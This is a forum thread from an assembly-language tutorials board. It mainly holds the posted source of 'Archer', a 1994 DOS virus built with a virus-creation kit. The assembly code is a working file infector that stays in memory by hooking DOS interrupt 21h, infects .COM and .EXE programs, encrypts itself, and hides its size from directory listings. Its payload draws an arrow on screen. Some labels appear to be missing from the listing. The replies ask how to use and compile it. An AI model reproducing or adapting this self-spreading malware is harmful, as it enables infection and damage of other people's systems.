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Archer Virus Source code

Discussion in 'Assembly Language Programming (ALP) Tutorials' started by jwshepherd, Aug 14, 2007.

  1. jwshepherd

    jwshepherd New Member

    Looking through some archives of mine, I found some old BW (Biological Warfare) documents virus kits, and source codes. So here is an old virus from 1994 written in assembly language, if you do manage to compile it it basically sends a green arrow across the screen. But I am sure (ha ha ) that all of the new AV companies should pick up that it is an exe infecter.

    ; archer.asm : [Archer] MnemoniX `94
    ; Created with Biological Warfare - Version 0.90รก by MnemoniX
    PING            equ     0AE3Bh
    PONG            equ     0CD28h
    STAMP           equ     30
    MARKER          equ     04D4Dh
    code            segment
                    org     0
                    assume  cs:code,ds:code
                    db      0E9h,3,0          ; to virus
                    db      0CDh,20h,0        ; host program
                    db      0BBh                    ; decryption module
    code_offset     dw      offset virus_code
                    mov     dx,VIRUS_SIZE / 2 + 1
                    db      02Eh,081h,07h           ; ADD CS:[BX]
    cipher          dw      0
                    inc     bx
                    inc     bx
                    dec     dx
                    jnz     decrypt
                    call    $ + 3             ; BP is instruction ptr.
                    pop     bp
                    sub     bp,offset $ - 1
                    push    ds es
                    mov     ax,PING           ; test for residency
                    int     21h
                    cmp     bx,PONG
                    je      installed
                    mov     ax,es                   ; Get PSP
                    dec     ax
                    mov     ds,ax                   ; Get MCB
                    sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
                    sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
                    mov     es,word ptr ds:[12h]
                    push    cs                      ; copy virus into memory
                    pop     ds
                    xor     di,di
                    mov     si,bp
                    mov     cx,(virus_end - start) / 2 + 1
                    rep     movsw
                    xor     ax,ax                   ; capture interrupts
                    mov     ds,ax
                    sub     word ptr ds:[413h],(MEM_SIZE+1023) / 1024
                    mov     si,21h * 4              ; get original int 21
                    mov     di,offset old_int_21
                    mov     word ptr ds:[si - 4],offset new_int_21
                    mov     ds:[si - 2],es          ; and set new int 21
                    call    activate                ; activation routine
                    pop     es ds                   ; restore segregs
                    cmp     sp,MARKER               ; check for .EXE
                    je      exe_exit
                    lea     si,[bp + host]          ; restore host program
                    mov     di,100h
                    push    di
                    call    fix_regs                ; fix up registers
                    ret                             ; and leave
                    mov     ax,ds                   ; fix up return address
                    add     ax,10h
                    add     ax,cs:[bp + exe_cs]
                    mov     cs:[bp + return_cs],ax
                    mov     ax,cs:[bp + exe_ip]
                    mov     cs:[bp + return_ip],ax
                    mov     sp,[bp + exe_sp]        ; restore SP
                    call    fix_regs                ; fix up registers
                    db      0EAh                    ; back to host program
    return_ip       dw      0
    return_cs       dw      0
    exe_cs          dw      -16                     ; orig CS:IP
    exe_ip          dw      103h
    exe_sp          dw      -2                      ; orig SP
                    xor     ax,ax
                    xor     bx,bx
                    mov     si,100h
                    xor     di,di
    ; interrupt 21 handler
                    call    dword ptr cs:[old_int_21]
                    cmp     ax,PING                 ; residency test
                    je      ping_pong
                    cmp     ax,4B00h                ; execute program
                    je      execute
                    cmp     ah,3Dh                  ; file open
                    je      file_open
                    cmp     ah,11h                  ; directory stealth
                    je      dir_stealth
                    cmp     ah,12h
                    je      dir_stealth
                    db      0EAh                    ; never mind ...
    old_int_21      dd      0
                    mov     bx,PONG
                    call    int_21                  ; get dir entry
                    test    al,al
                    js      dir_stealth_done
                    push    ax bx es
                    mov     ah,2Fh
                    int     21h
                    cmp     byte ptr es:[bx],-1     ; check for extended FCB
                    jne     no_ext_FCB
                    add     bx,7
                    mov     ax,es:[bx + 17h]        ; check for infection marker
                    and     al,31
                    cmp     al,STAMP
                    jne     dir_fixed
                    sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
                    sbb     word ptr es:[bx + 1Fh],0
                    pop     es bx ax
                    push    ax cx di es
                    call    get_extension
                    cmp     [di],'OC'               ; .COM file?
                    jne     perhaps_exe             ; perhaps .EXE then
                    cmp     byte ptr [di + 2],'M'
                    jne     not_prog
                    jmp     a_program
                    cmp     [di],'XE'               ; .EXE file?
                    jne     not_prog
                    cmp     byte ptr [di + 2],'E'
                    jne     not_prog
                    pop     es di cx ax
                    jmp     execute                 ; infect file
                    pop     es di cx ax
                    jmp     int_21_exit
                    push    ax bx cx dx si di ds es
                    xor     ax,ax                   ; critical error handler
                    mov     es,ax                   ; routine - catch int 24
                    mov     es:[24h * 4],offset int_24
                    mov     es:[24h * 4 + 2],cs
                    mov     ax,4300h                ; change attributes
                    int     21h
                    push    cx dx ds
                    xor     cx,cx
                    call    set_attributes
                    mov     ax,3D02h                ; open file
                    call    int_21
                    jc      cant_open
                    xchg    bx,ax
                    push    cs                      ; CS = DS
                    pop     ds
                    mov     ax,5700h                ; save file date/time
                    int     21h
                    push    cx dx
                    mov     ah,3Fh
                    mov     cx,28
                    mov     dx,offset read_buffer
                    int     21h
                    cmp     word ptr read_buffer,'ZM' ; .EXE?
                    je      infect_exe              ; yes, infect as .EXE
                    mov     al,2                    ; move to end of file
                    call    move_file_ptr
                    cmp     dx,65279 - (VIRUS_SIZE + 3)
                    ja      dont_infect             ; too big, don't infect
                    sub     dx,VIRUS_SIZE + 3       ; check for previous infection
                    cmp     dx,word ptr read_buffer + 1
                    je      dont_infect
                    add     dx,VIRUS_SIZE + 3
                    mov     word ptr new_jump + 1,dx
                    add     dx,103h
                    call    encrypt_code            ; encrypt virus
                    mov     dx,offset read_buffer   ; save original program head
                    int     21h
                    mov     ah,40h                  ; write virus to file
                    mov     cx,VIRUS_SIZE
                    mov     dx,offset encrypt_buffer
                    int     21h
                    xor     al,al                   ; back to beginning of file
                    call    move_file_ptr
                    mov     dx,offset new_jump      ; and write new jump
                    int     21h
                    pop     dx cx
                    and     cl,-32                  ; add time stamp
                    or      cl,STAMP                ; for directory stealth
                    mov     ax,5701h                ; restore file date/time
                    int     21h
                    pop     ds dx cx                ; restore attributes
                    call    set_attributes
                    mov     ah,3Eh                  ; close file
                    int     21h
                    pop     es ds di si dx cx bx ax
                    jmp     int_21_exit             ; leave
                    mov     ax,4301h
                    int     21h
                    pop     cx dx                   ; can't infect, skip
                    jmp     close
                    mov     ah,42h                  ; move file pointer
                    xor     cx,cx
                    int     21h
                    mov     dx,ax                   ; set up registers
                    mov     ah,40h
                    mov     cx,3
                    cmp     word ptr read_buffer[26],0
                    jne     dont_infect             ; overlay, don't infect
                    cmp     word ptr read_buffer[16],MARKER
                    je      dont_infect             ; infected already
                    les     ax,dword ptr read_buffer[20]
                    mov     exe_cs,es               ; CS
                    mov     exe_ip,ax               ; IP
                    mov     ax,word ptr read_buffer[16]
                    mov     exe_sp,ax               ; SP
                    mov     word ptr read_buffer[16],MARKER
                    mov     ax,4202h                ; to end of file
                    xor     cx,cx
                    int     21h
                    push    ax dx                   ; save file size
                    push    bx
                    mov     cl,12                   ; calculate offsets for CS
                    shl     dx,cl                   ; and IP
                    mov     bx,ax
                    mov     cl,4
                    shr     bx,cl
                    add     dx,bx
                    and     ax,15
                    pop     bx
                    sub     dx,word ptr read_buffer[8]
                    mov     word ptr read_buffer[22],dx
                    mov     word ptr read_buffer[20],ax
                    pop     dx ax                   ; calculate prog size
                    add     ax,VIRUS_SIZE + 3
                    adc     dx,0
                    mov     cx,512                  ; in pages
                    div     cx                      ; then save results
                    inc     ax
                    mov     word ptr read_buffer[2],dx
                    mov     word ptr read_buffer[4],ax
                    mov     dx,word ptr read_buffer[20]
                    call    encrypt_code            ; encrypt virus
                    mov     ah,40h
                    mov     cx,VIRUS_SIZE + 3
                    mov     dx,offset encrypt_buffer
                    int     21h
                    mov     ax,4200h                ; back to beginning
                    xor     cx,cx
                    int     21h
                    mov     ah,40h                  ; and fix up header
                    mov     cx,28
                    mov     dx,offset read_buffer
                    int     21h
                    jmp     fix_date_time           ; done
    courtesy_of     db      '[BW]',0
    signature       db      '[Archer] MnemoniX `94',0
                    xor     ah,ah                   ; get system time
                    int     1Ah
                    cmp     dl,0F1h
                    jb      no_activate
                    mov     ah,0Fh                  ; get display page
                    int     10h
                    mov     al,dl                   ; random number, 0-15
                    and     al,15
                    mov     ah,3                    ; activating - get cursor
                    int     10h                     ; position and save
                    push    dx
                    mov     dh,al                   ; set cursor at random
                    xor     dl,dl                   ; row, column 1
                    mov     ah,2
                    int     10h
                    mov     di,79
                    mov     cx,1
                    mov     ax,91Ah                 ; print arrow and erase
                    mov     bl,10                   ; 79 times
                    int     10h
                    push    cx                      ; time delay
                    mov     cx,-200
                    rep     lodsb
                    pop     cx
                    mov     ah,2
                    mov     dl,' '
                    int     21h
                    dec     di
                    jnz     arrow
                    pop     dx                      ; reset cursor
                    mov     ah,2
                    int     10h                     ; and we're done
                    push    ds                      ; find extension
                    pop     es
                    mov     di,dx
                    mov     cx,64
                    mov     al,'.'
                    repnz   scasb
                    push    ax cx
                    push    dx
                    xor     ah,ah                   ; get time for random number
                    int     1Ah
                    mov     cipher,dx               ; save encryption key
                    pop     cx
                    add     cx,virus_code - virus_begin
                    mov     code_offset,cx          ; save code offset
                    push    cs                      ; ES = CS
                    pop     es
                    mov     si,offset virus_begin   ; move decryption module
                    mov     di,offset encrypt_buffer
                    mov     cx,virus_code - virus_begin
                    rep     movsb
                    mov     cx,VIRUS_SIZE / 2 + 1
                    lodsw                           ; encrypt virus code
                    sub     ax,dx
                    loop    encrypt
                    pop     cx ax
                    mov     al,3                    ; int 24 handler
    new_jump        db      0E9h,0,0
    VIRUS_SIZE      equ     virus_end - virus_begin
    read_buffer     db      28 dup (?)              ; read buffer
    encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
    MEM_SIZE        equ     end_heap - start
    code            ends
                    end     start
    Don't hurt yourself
  2. Muthukumaran

    Muthukumaran New Member

    please say me how to use it
  3. TPrice

    TPrice New Member

    This is very interesting. I always wondered what ever would possess someone to take out the time to write viruses just for the sake of causing havoc on peoples computers. It just doesn't seem like a very nice thing to do if you ask me. Maybe that time would be better spent writing useful programs or even playing video games. Thank you for this example, I find it fascinating to actually see the source code for a virus.
  4. Scripting

    Scripting John Hoder

    Which compiler does man use to compile it?
  5. Tobiasgar

    Tobiasgar New Member

    coool)) in 90s people were doing such things))
  6. Umer Farooq

    Umer Farooq New Member

  7. hambim336

    hambim336 New Member


    Thanks very much for this comment. It help me to think about my ideals.

    Tks again and pls keep posting.

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